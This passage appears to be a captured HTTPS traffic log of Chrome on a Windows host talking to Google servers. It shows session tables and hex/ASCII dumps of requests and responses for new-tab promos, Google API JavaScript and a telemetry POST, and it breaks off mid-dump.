2024-10-28 05:27:10 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 36 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700276,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-10-28 05:27:10 UTC	189	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 57 67 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 0d 0a Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.Wg\u003da}};_.$
2024-10-28 05:27:10 UTC	376	IN	Data Raw: 31 37 31 0d 0a 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 56 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 61 65 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 6e 65 77 20 5f 2e 61 65 28 5f 2e 58 64 3f 5f 2e 58 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d Data Ascii: 171d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"ftp\"),new _.Vd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.ae\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.be\u003dnew _.ae(_.Xd?_.Xd.emptyHTML:\"\");\n}
2024-10-28 05:27:10 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 Data Ascii: 8000e(a)?a\|0:void 0};_.de\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};fe\u003dfunction(){let a\u003dnull;if(
2024-10-28 05:27:10 UTC	1378	IN	Data Raw: 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 72 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 65 65 5c 75 30 30 33 64 5f 2e 58 64 3b 5f 2e 69 65 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 Data Ascii: T\u003dfunction(a,b,c\u003d0){return _.Bb(_.re(a,b),c)};_.se\u003dfunction(a,b,c\u003d0){return _.Bb(_.S(a,b),c)};_.ue\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};ee\u003d_.Xd;_.ie\u003dclass{constructor(a){this.i\u003da}toString(){return t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	142.250.186.100	443	7892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:10 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 05:27:10 UTC	957	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 28 Oct 2024 05:27:10 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 05:27:10 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-28 05:27:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	142.250.184.206	443	7892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:13 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 05:27:13 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun, 27 Oct 2024 20:35:00 GMT Expires: Mon, 27 Oct 2025 20:35:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 31933 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-28 05:27:13 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-28 05:27:13 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-28 05:27:13 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-28 05:27:13 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-28 05:27:13 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-28 05:27:13 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-28 05:27:13 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-28 05:27:13 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-28 05:27:13 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-28 05:27:13 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	142.250.186.110	443	7892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:14 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 05:27:14 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 30 39 33 32 33 31 37 39 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google 